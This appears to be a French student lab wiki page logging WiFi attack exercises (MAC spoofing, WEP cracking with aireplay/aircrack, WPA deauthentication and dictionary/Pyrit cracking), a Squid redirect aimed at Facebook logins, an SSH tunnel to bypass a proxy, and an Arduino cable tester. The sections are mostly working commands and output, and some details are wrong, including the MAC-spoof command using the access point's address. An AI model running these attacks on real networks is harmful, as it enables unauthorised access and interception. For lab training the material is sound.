Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
<pre>
airodump-ng start wlan0
</pre>
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

<pre>
airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
</pre>

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

<pre>
airodump-ng --essid baguette wlan0mon

CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette

BSSID STATION PWR Rate Lost Frames Probe
C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
</pre>

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

<pre>
ifconfig wlan1 hw ether C4:14:3C:40:78:60
</pre>

==== Accès par filtrage WEP ====
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
<pre>
#airmon-ng
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
(mac80211 station mode vif disabled for [phy1]wlan3)
</pre>
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
<pre>
#airodump-ng wlan3mon
CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09
00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02
00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06
00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05
00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08
00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07
00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03
00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01
00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2
00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21
00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9
00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37
00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63
00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59
00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94
00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
</pre>
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
<pre>
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
</pre>
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
<pre>
#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

# BSSID ESSID Encryption

1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.
</pre>
Ensuite, nous générons plus de flux à l'aide de aireplay.
<pre>
#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11 Waiting for a data packet...

Size: 70, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:23:5E:1E:05:46
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:92:23:69

0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i
0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e
0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~-
0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5
0x0040: b7bd 03c5 5093 ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13 Data packet found!
12:02:13 Sending fragmented packet
</pre>
Et enfin, aircrack trouve la clé.
<pre>
Aircrack-ng 1.2 rc2

[00:02:12] Tested 853 keys (got 40800 IVs)

KB depth byte(vote)
0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568)
1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592)
2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824)
3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800)
4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824)

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ]
Decrypted correctly: 100%
</pre>
==== Accès par filtrage WPA ====
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
<pre>
#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
$tmp = sprintf("[%02d]\n", $j);
print STDERR $tmp;
for (my $i=0; $i < ($max); $i++)
{
$outp = sprintf("%08d\n", $ite);
$ite++;
print $outp;
}
}
</pre>
Nous lançons donc la génération avec la commande
<pre>
# ./gen.pl > dic.txt
</pre>
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
<pre>
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
</pre>
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
<pre>
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
</pre>
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
<pre>
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
</pre>
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
<pre>
# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
# BSSID ESSID Encryption

1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
</pre>
=====Attaque par dictionnaire=====
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
<pre>
# aircrack-ng -w dico.txt *.cap
Aircrack-ng 1.2 beta3
[00:58:30] 12121212 keys tested (3659.24 k/s)
KEY FOUND! [ 12121212 ]
Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
</pre>
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
=====Attaque par Rainbow Tables=====
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
<pre>
# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Created ESSID 'Almost Secure WiFI'
</pre>
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
<pre>
# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
100000000 lines read. Flushing buffers... ..
All done.
</pre>
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
</pre>
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
<pre>
# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
</pre>
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
</pre>
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
<pre>
# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.
</pre>
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

=====Algorithme de génération de PMK=====
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
<pre>
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
</pre>
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
*[PASSWORD] Le mot de passe
*[SALT] Le salage (ici l'ESSID)
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
*[LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
<pre>
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
</pre>
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
<pre>
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)
</pre>
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
*[KEY] la clé utilisée pour encoder le message
*[MSG] le message à encoder
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
<pre>
function HMAC(KEY, MSG, H, HLEN)
if(length(KEY) > HLEN)
KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
if(length(KEY) < HLEN)
KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

opad_key = (opad * HLEN) ^ KEY;
ipad_key = (ipad * HLEN) ^ KEY;

return H(opad_key || H(ipad_key || MSG)
</pre>
Dans cette fonction:
*L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
*L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
*L'opérateur ^ désigne l'opérateur XOR logique
*La variable opad est une constance valant 0x5C
*La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
<pre>
function SHA1(PASS)
h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0
ml = message length in bits (always a multiple of the number of bits in a character).

append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

break message into 512-bit chunks
for each chunk
break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

//Extend the sixteen 32-bit words into eighty 32-bit words:
for i from 16 to 79
w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

//Initialize hash value for this chunk:
a = h0
b = h1
c = h2
d = h3
e = h4

//Main loop
for i from 0 to 79
if 0 ≤ i ≤ 19 then
f = (b and c) or ((not b) and d)
k = 0x5A827999
else if 20 ≤ i ≤ 39
f = b xor c xor d
k = 0x6ED9EBA1
else if 40 ≤ i ≤ 59
f = (b and c) or (b and d) or (c and d)
k = 0x8F1BBCDC
else if 60 ≤ i ≤ 79
f = b xor c xor d
k = 0xCA62C1D6

temp = (a leftrotate 5) + f + e + k + w[i]
e = d
d = c
c = b leftrotate 30
b = a
a = temp

//Add this chunk's hash to result so far:
h0 = h0 + a
h1 = h1 + b
h2 = h2 + c
h3 = h3 + d
h4 = h4 + e

//Produce the final hash value (big-endian) as a 160 bit number:
hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
</pre>
===Attaque Man In the Middle de Facebook===
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid
<pre>
acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second
</pre>
Config Squidguard
<pre>
dbhome /usr/local/squidGuard/db

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
</pre>
cat /usr/local/squidGuard/db/facebook/url
<pre>
fr-fr.facebook.com
</pre>

===Contournement d'un proxy===
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.
<pre>
# apt-get install openssh-server proxytunnel isc-dhcp-server
</pre>
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
<pre>
# vim /root/.ssh/config
Host perfectTunnel
Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
User root
Port 443
ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
</pre>
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
<pre>
ssh \
-o PermitLocalCommand=yes \
-o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
-o ServerAliveInterval=60 \
-w 5:5 perfectTunnel \
'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
</pre>
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
<pre>
# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
</pre>
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
<pre>
# route del default
# route add default gw 12.24.48.1
</pre>
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
<pre>
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
</pre>
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
<pre>
# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
range 118.218.1.1 118.218.254.254;
option routers 118.218.0.1;
option subnet-mask 255.255.0.0;
option broadcast-address 118.218.255.255;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;
</pre>
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
<pre>
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
</pre>
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>

== La partie bonus ==

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

=== Utilisation de l'écran LCD ===

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :
<pre>
const char letter_A[] PROGMEM = {
0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
</pre>

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

=== Utilisation du lecteur de carte SD ===

Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

=== Communication avec le matériel Cisco ===

[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.

=== Réalisation du code pour les appareil Cisco ===

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
<pre>
show interfaces status | include INAME\
</pre>
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.

PRA 2015 - Câblage d'un réseau redondant

2015-12-10T09:40:41Z

Froyer1 :

__TOC__
== Introduction ==
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
== Câblage du résau ==
=== Le réseau idéal ===
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

[[Fichier:PRA15 - Réseau Idéal.png]]

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

=== L'avancement du cablage du réseau ===

L'image suivante détaille l'état du réseau avant le 07/10/2015.

